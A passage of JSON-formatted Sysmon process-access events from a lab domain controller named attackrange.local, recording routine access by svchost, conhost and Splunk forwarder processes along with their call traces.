accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.391\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4100-5F2D-0000-00101FD30500}\r\nTargetProcessId: 4660\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.391","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4100-5F2D-0000-00101FD30500}","TargetProcessId":"4660","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:40.532\r\nSourceProcessGUID: {90617006-4100-5F2D-0000-00101FD30500}\r\nSourceProcessId: 4660\r\nSourceThreadId: 1324\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:40.532","SourceProcessGUID":"{90617006-4100-5F2D-0000-00101FD30500}","SourceProcessId":"4660","SourceThreadId":"1324","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program 